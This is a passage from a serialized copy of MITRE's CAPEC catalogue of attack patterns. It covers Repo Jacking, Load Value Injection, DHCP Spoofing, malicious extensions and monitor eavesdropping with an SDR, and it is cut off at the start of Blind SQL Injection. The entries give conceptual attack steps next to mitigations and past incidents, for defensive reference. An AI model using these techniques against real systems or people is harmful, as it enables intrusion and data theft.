dedicated package managers instead of directly linking to VCS repositories.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize version pinning and lock files to prevent use of maliciously modified repositories.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement "vendoring" (i.e., including third-party dependencies locally) and leverage automated testing techniques (e.g., static analysis) to determine if the software behaves maliciously.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage automated tools, such as Checkmarx's "ChainJacking" tool, to determine susceptibility to Repo Jacking attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In May 2022, the CTX Python package and PhPass PHP package were both exploited by the same adversary via Repo Jacking attacks. For the CTX package, the adversary performed an account takeover via a password reset, due to an expired domain-hosting email. The attack on PhPass entailed bypassing GitHub's authentication for retired repositories. In both cases, sensitive data in the form of API keys and passwords, each stored in the form of environment variables, were exfiltrated. [REF-732] [REF-733]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In October 2021, the popular JavaScript library UAParser.js was exploited via the takeover of the author's Node Package Manager (NPM) account. The adversary-provided malware downloaded and executed binaries from a remote server to conduct crypto-mining and to exfiltrate sensitive data on Windows systems. This was a wide-scale attack as the package receives 8 to 9 million downloads per week. [REF-732]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 494 + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + #indReferenceReference42530 + Reference_42530 + + + + + + + + + REF-722 + + + + + + + + + + + + #indReferenceReference42531 + Reference_42531 + + + + + + + + + REF-732 + + + + + + + + + + + + #indReferenceReference42532 + Reference_42532 + + + + + + + + + REF-733 + + + + + + + + + + + + #indReferenceReference42533 + Reference_42533 + + + + + + + + + REF-734 + + + + + + + + + + + + #indContentHistoryContentHistory42535 + Content_History_42535 + + + + + + + + + + + + + + + + #indSubmissionSubmission42536 + Submission_42536 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #indModificationModification42541 + Modification_42541 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-696 + Load Value Injection + + + + + + + + + 696 + + + + + Load Value Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a hardware design flaw in a CPU implementation of transient instruction execution in which a faulting or assisted load instruction transiently forwards adversary-controlled data from microarchitectural buffers. By inducing a page fault or microcode assist during victim execution, an adversary can force legitimate victim execution to operate on the adversary-controlled data which is stored in the microarchitectural buffers. The adversary can then use existing code gadgets and side channel analysis to discover victim secrets that have not yet been flushed from microarchitectural state or hijack the system control flow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack is a mix of techniques used in traditional Meltdown and Spectre attacks. It uses microarchitectural data leakage combined with code gadget abuse. Intel has identified that this attack is not applicable in scenarios where the OS and the VMM (Virtual Memory Manager) are both trusted. Because of this, Intel SGX is a prime target for this attack because it assumes that the OS or VMM may be malicious.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42555 + Related_Attack_Pattern_42555 + + + + + + + + + + + + + + 663 + + + + + + + + + + + + #indAttackStepAttackStep42558 + Attack_Step_42558 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey target application and relevant OS shared code libraries] Adversary identifies vulnerable transient instruction sets and the code/function calls to trigger them as well as instruction sets or code fragments (gadgets) to perform attack. The adversary looks for code gadgets which will allow them to load an adversary-controlled value into trusted memory. They also look for code gadgets which might operate on this controlled value.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize Disassembler and Debugger tools to examine and trace instruction set execution of source code and shared code libraries on a system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42564 + Attack_Step_42564 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Fill microarchitectural buffer with controlled value] The adversary will utilize the found code gadget from the previous step to load a value into a microarchitectural buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary may choose the controlled value to be memory address of sensitive information that they want the system to access</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary may choose the controlled value to be the memory address of other code gadgets that they wish to execute by hijacking the control flow of the system</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42571 + Attack_Step_42571 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Set up instruction to page fault or microcode assist] The adversary must manipulate the system such that a page fault or microcode assist occurs when a valid instruction is run. If the instruction that fails is near where the adversary-controlled value was loaded, the system may forward this value from the microarchitectural buffer incorrectly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When targeting Intel SGX enclaves, adversaries that have privileges can manipulate PTEs to provoke page-fault exceptions or microcode assists.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When targeting Intel SGX enclaves, adversaries can indirectly revoke permissions for enclave code through the “mprotect” system call</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can evict selected virtual memory pages using legacy interfaces or by increasing physical memory utilization</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When attacking a Windows machine, wait until the OS clears the PTE accessed bit. When the page is next accessed, the CPU will always issue a microcode assist for re-setting this bit</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42580 + Attack_Step_42580 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Operate on adversary-controlled data] Once the attack has been set up and the page fault or microcode assist occurs, the system operates on the adversary-controlled data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Influence the system to load sensitive information into microarchitectural state which can be read by the adversary using a code gadget.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hijack execution by jumping to second stage gadgets found in the address space. By utilizing return-oriented programming, this can chain gadgets together and allow the adversary to execute a sequence of gadgets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs at least user execution access to a system and a maliciously crafted program/application/process with unprivileged code to misuse transient instruction set execution of the CPU.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The CPU incorrectly transiently forwards values from microarchitectural buffers after faulting or assisted loads</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs the ability to induce page faults or microcode assists on the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Code gadgets exist that allow the adversary to hijack transient execution and encode secrets into the microarchitectural state.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42595 + Skill_42595 + + + + + + + + + + + + + + Detailed knowledge on how various CPU architectures and microcode perform transient execution for various low-level assembly language code instructions/operations. + + + + + + + + + + + + #indSkillSkill42596 + Skill_42596 + + + + + + + + + + + + + + Detailed knowledge on compiled binaries and operating system shared libraries of instruction sequences, and layout of application and OS/Kernel address spaces for data leakage. + + + + + + + + + + + + #indSkillSkill42597 + Skill_42597 + + + + + + + + + + + + + + The ability to provoke faulting or assisted loads in legitimate execution. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">File Signatures for Malicious Software capable of abusing Transient Instruction Set Execution</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42603 + Consequence_42603 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42607 + Consequence_42607 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42611 + Consequence_42611 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow the forwarding of data resulting from a faulting or assisted instruction. Some current mitigations claim to zero out the forwarded data, but this mitigation still does not suffice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insert explicit “lfence” speculation barriers in software before potentially faulting or assisted loads. This halts transient execution until all previous instructions have been executed and ensures that the architecturally correct value is forwarded.</xhtml:div> + + + + + 1342 + + + + + + + + + + + + #indReferenceReference42624 + Reference_42624 + + + + + + + + + REF-735 + + + + + + + + + + + + #indReferenceReference42625 + Reference_42625 + + + + + + + + + REF-736 + + + + + + + + + + + + #indContentHistoryContentHistory42627 + Content_History_42627 + + + + + + + + + + + + + + + + #indSubmissionSubmission42628 + Submission_42628 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-697 + DHCP Spoofing + + + + + + + + + 697 + + + + + DHCP Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary masquerades as a legitimate Dynamic Host Configuration Protocol (DHCP) server by spoofing DHCP traffic, with the goal of redirecting network traffic or denying service to DHCP.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;DHCP is broadcast to the entire Local Area Network (LAN) and does not have any form of authentication by default. Therefore, it is susceptible to spoofing.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary with access to the target LAN can receive DHCP messages; obtaining the topology information required to potentially manipulate other hosts' network configurations.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;To improve the likelihood of the DHCP request being serviced by the Rogue server, an adversary can first starve the DHCP pool.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42647 + Related_Attack_Pattern_42647 + + + + + + + + + + + + + + 194 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42648 + Related_Attack_Pattern_42648 + + + + + + + + + + + + + + 158 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42649 + Related_Attack_Pattern_42649 + + + + + + + + + + + + + + 94 + + + + + + + + + + + + #indAttackStepAttackStep42652 + Attack_Step_42652 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Exsisting DHCP lease] An adversary observes network traffic and waits for an existing DHCP lease to expire on a target machine in the LAN.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary observes LAN traffic for DHCP solicitations</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42658 + Attack_Step_42658 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Capture the DHCP DISCOVER message] The adversary captures "DISCOVER" messages and crafts "OFFER" responses for the identified target MAC address. The success of this attack centers on the capturing of and responding to these "DISCOVER" messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary captures and responds to DHCP "DISCOVER" messages tailored to the target subnet.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42664 + Attack_Step_42664 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Compromise Network Access and Collect Network Activity] An adversary successfully acts as a rogue DHCP server by redirecting legitimate DHCP requests to itself.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary sends repeated DHCP "REQUEST" messages to quickly lease all the addresses within network's DHCP pool and forcing new DHCP requests to be handled by the rogue DHCP server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have access to a machine within the target LAN which can send DHCP offers to the target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42675 + Skill_42675 + + + + + + + + + + + + + + The adversary must identify potential targets for DHCP Spoofing and craft network configurations to obtain the desired results. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires access to a machine within the target LAN on a network which does not secure its DHCP traffic through MAC-Forced Forwarding, port security, etc.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42681 + Consequence_42681 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42686 + Consequence_42686 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42692 + Consequence_42692 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: MAC-Forced Forwarding</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Port Security and DHCP snooping</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Network-based Intrusion Detection Systems</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In early 2019, Microsoft patched a critical vulnerability (CVE-2019-0547) in the Windows DHCP client which allowed remote code execution via crafted DHCP OFFER packets. [REF-739]</xhtml:div> + + + + + 923 + + + + + + + + + + + + #indTaxonomyMappingAdversaryInTheMiddleDHCPSpoofing + Adversary-in-the-Middle: DHCP Spoofing + + + + + + + + + + + + + + 1557.003 + + + + + Adversary-in-the-Middle: DHCP Spoofing + + + + + + + + + + + + #indReferenceReference42715 + Reference_42715 + + + + + + + + + REF-737 + + + + + + + + + + + + #indReferenceReference42716 + Reference_42716 + + + + + + + + + REF-738 + + + + + + + + + + + + #indReferenceReference42717 + Reference_42717 + + + + + + + + + REF-739 + + + + + + + + + + + + #indContentHistoryContentHistory42719 + Content_History_42719 + + + + + + + + + + + + + + + + #indSubmissionSubmission42720 + Submission_42720 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-698 + Install Malicious Extension + + + + + + + + + 698 + + + + + Install Malicious Extension + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary directly installs or tricks a user into installing a malicious extension into existing trusted software, with the goal of achieving a variety of negative technical impacts.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Many software applications allow users to install third-party software extensions/plugins that provide additional features and functionality. Adversaries can take advantage of this behavior to install malware on a system with relative ease. This may require the adversary compromising a system and then installing the malicious extension themself. An alternate approach entails masquerading the malicious extension as a legitimate extension. The adversary then convinces users to install the malicious component, via means such as social engineering, or simply waits for victims to unknowingly install the malware on their systems. Once the malicious extension has been installed, the adversary can achieve a variety of negative technical impacts such as obtaining sensitive information, executing unauthorized commands, observing/modifying network traffic, and more.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42738 + Related_Attack_Pattern_42738 + + + + + + + + + + + + + + 542 + + + + + + + + + + + + #indAttackStepAttackStep42741 + Attack_Step_42741 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target(s)] The adversary must first identify target software that allows for extensions/plugins and which they wish to exploit, such as a web browser or desktop application. To increase the attack space, this will often be popular software with a large user-base.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42746 + Attack_Step_42746 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create malicious extension] Having identified a suitable target, the adversary crafts a malicious extension/plugin that can be installed by the underlying target software. This malware may be targeted to execute on specific operating systems or be operating system agnostic.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42751 + Attack_Step_42751 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Install malicious extension] The malicious extension/plugin is installed by the underlying target software and executes the adversary-created malware, resulting in a variety of negative technical impacts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary-Installed: Having already compromised the target system, the adversary simply installs the malicious extension/plugin themself.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User-Installed: The adversary tricks the user into installing the malicious extension/plugin, via means such as social engineering, or may upload the malware on a reputable extension/plugin hosting site and wait for unknowing victims to install the malicious component.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must craft malware based on the type of software and system(s) they intend to exploit.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the adversary intends to install the malicious extension themself, they must first compromise the target machine via some other means.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42764 + Skill_42764 + + + + + + + + + + + + + + Ability to create malicious extensions that can exploit specific software applications and systems. + + + + + + + + + + + + #indSkillSkill42765 + Skill_42765 + + + + + + + + + + + + + + Optional: Ability to exploit target system(s) via other means in order to gain entry. + + + + + + + + + + + + #indConsequenceConsequence42768 + Consequence_42768 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42773 + Consequence_42773 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42778 + Consequence_42778 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only install extensions/plugins from official/verifiable sources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Confirm extensions/plugins are legitimate and not malware masquerading as a legitimate extension/plugin.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure the underlying software leveraging the extension/plugin (including operating systems) is up-to-date.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an extension/plugin allow list, based on the given security policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If applicable, confirm extensions/plugins are properly signed by the official developers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For web browsers, close sessions when finished to prevent malicious extensions/plugins from executing the the background.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In January 2018, Palo Alto's Unit 42 reported that a malicious Internet Information Services (IIS) extension they named RGDoor was used to create a backdoor into several Middle Eastern government organizations, as well as a financial institution and an educational institution. This malware was used in conjunction with the TwoFace webshell and allowed the adversaries to upload/download files and execute unauthorized commands. [REF-740]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In December 2018, it was reported that North Korea-based APT Kimusky (also known as Velvet Chollima) infected numerous legitimate academic organizations within the U.S., many specializing in biomedical engineering, with a malicious Google Chrome extension. Dubbed "Operation STOLEN PENCIL", the attack entailed conducting spear-phishing attacks to trick victims into installing a malicious PDF reader named "Auto Font Manager". Once installed, the malware allowed adversaries to steal cookies and site passwords, as well as forward emails from some compromised accounts. [REF-741]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 507 + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingBrowserExtensions + Browser Extensions + + + + + + + + + + + + + + 1176 + + + + + Browser Extensions + + + + + + + + + + + + #indTaxonomyMappingServerSoftwareComponentIISComponents + Server Software Component: IIS Components + + + + + + + + + + + + + + 1505.004 + + + + + Server Software Component: IIS Components + + + + + + + + + + + + #indReferenceReference42817 + Reference_42817 + + + + + + + + + REF-740 + + + + + + + + + + + + #indReferenceReference42818 + Reference_42818 + + + + + + + + + REF-741 + + + + + + + + + + + + #indContentHistoryContentHistory42820 + Content_History_42820 + + + + + + + + + + + + + + + + #indSubmissionSubmission42821 + Submission_42821 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-699 + Eavesdropping on a Monitor + + + + + + + + + 699 + + + + + Eavesdropping on a Monitor + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An Adversary can eavesdrop on the content of an external monitor through the air without modifying any cable or installing software, just capturing this signal emitted by the cable or video port, with this the attacker will be able to impact the confidentiality of the data without being detected by traditional security tools</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack gives the adversary the ability to view an external monitor with an insignificant delay. There is also no indicator of compromise from the victim visible on the monitor.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The eavesdrop is possible due to a signal leakage, that is produced at different points of the connection, including the source port, the connection between the cable and PC, the cable itself, and the connection between the cable and the monitor. That signal leakage can be captured near any of the leak points, but also in a near location, like the next room or a few meters away, using an SDR (Software-defined Radio) device and the correspondent software, that process and interpret the signal to show attackers what the monitor is displaying.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From the victim’s point of view, this specified attack might cause a high risk, and from the other hand, from the attacker’s point of view, the attack is excellent, since the specified attack method can be used without investing too much effort or require too many skills, as long as the right attack tool is in right place, this allows attackers to completely compromise the confidentiality of the data; also giving the attacker the advantage of being undetectable by not only traditional security products but also from bug sweep because the SDR device is acting in passive mode.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42838 + Related_Attack_Pattern_42838 + + + + + + + + + + + + + + 651 + + + + + + + + + + + + #indAttackStepAttackStep42841 + Attack_Step_42841 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey Target] The adversary surveys the target location, looking for exposed display cables and locations to hide an SDR. This also includes looking for display cables or monitors placed close to a wall, where the SDR can be in range while behind the wall. The adversary also attempts to discover the resolution and refresh rate of the targeted display.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42846 + Attack_Step_42846 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target using SDR] The adversary sets up an SDR near the target display cable or monitor. They use the SDR software to locate the corresponding frequency of the display cable. This is done by looking for interference peaks that change depending on what the screen is showing. The adversary notes down the possible frequencies of unintentional emission.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can make use of many different commercially available SDR devices which are easy to setup such as a HackRF, Ubertooth, RTL-SDR, and many others.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42852 + Attack_Step_42852 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Visualize Monitor Image] Once the SDR software has been used to identify the target, the adversary will record the transmissions and visualize the monitor image using these transmissions, which allows them to eavesdrop on the information visible on the monitor.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The TempestSDR software can be used in conjunction an SDR device to visualize the monitor image. The adversary will specify the known monitor resolution and refresh rate, or if those are not known they can use the provided auto-correlation graphs to help predict these values. The adversary will then try the different frequencies recorded from the experiment phase, looking for a viewing monitor display. Low pass filters and gain can be manipulated to make the display image clearer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Victim should use an external monitor device</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to the target location and devices</xhtml:div> + + + + + + + + + + + + #indSkillSkill42864 + Skill_42864 + + + + + + + + + + + + + + Knowledge of how to use the SDR and related software: With this knowledge, the adversary will find the correct frequency where the signal is being leaked + + + + + + + + + + + + #indSkillSkill42865 + Skill_42865 + + + + + + + + + + + + + + Understanding of computing hardware, to identify the video cable and video ports + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SDR device set with the correspondent antenna</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Computer with SDR Software</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target will not observe any indicators of the attack from the computer user’s perspective. The only indication of this attack would be a visible SDR with antenna that can be seen in close proximity to a display cable which is not normally present. This requires that the target is aware of what SDRs look like and can recognize that it may be out of place.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42875 + Consequence_42875 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enhance: Increase the number of electromagnetic shield layers in the display ports and cables to contain or reduce the intensity of the leaked signal.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement: Use a protocol that encrypts the video signal; in case the signal is intercepted the signal is protected by the encryption.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Lock away the video cables, making it difficult for the attacker to access the cables and place the antenna near them (If the distance condition between the antenna and display port/cable is not satisfied, the attack will not be possible).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement: Use wireless technologies to connect to external display devices.</xhtml:div> + + + + + 1300 + + + + + + + + + + + + #indReferenceReference42890 + Reference_42890 + + + + + + + + + REF-744 + + + + + + + + + + + + #indReferenceReference42891 + Reference_42891 + + + + + + + + + REF-745 + + + + + + + + + + + + #indContentHistoryContentHistory42893 + Content_History_42893 + + + + + + + + + + + + + + + + #indSubmissionSubmission42894 + Submission_42894 + + + + + + + + + You Wu (吴忧), Miguel Ivan Fernandez (伊万), Qingzhe Jiang (蒋青喆) + + + + + Lenovo + + + + + 2023-01-24 + + + + + + + + + + + + #CAPEC-7 + Blind SQL Injection + + + + + + + + + 7 + + + + + Blind SQL Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + 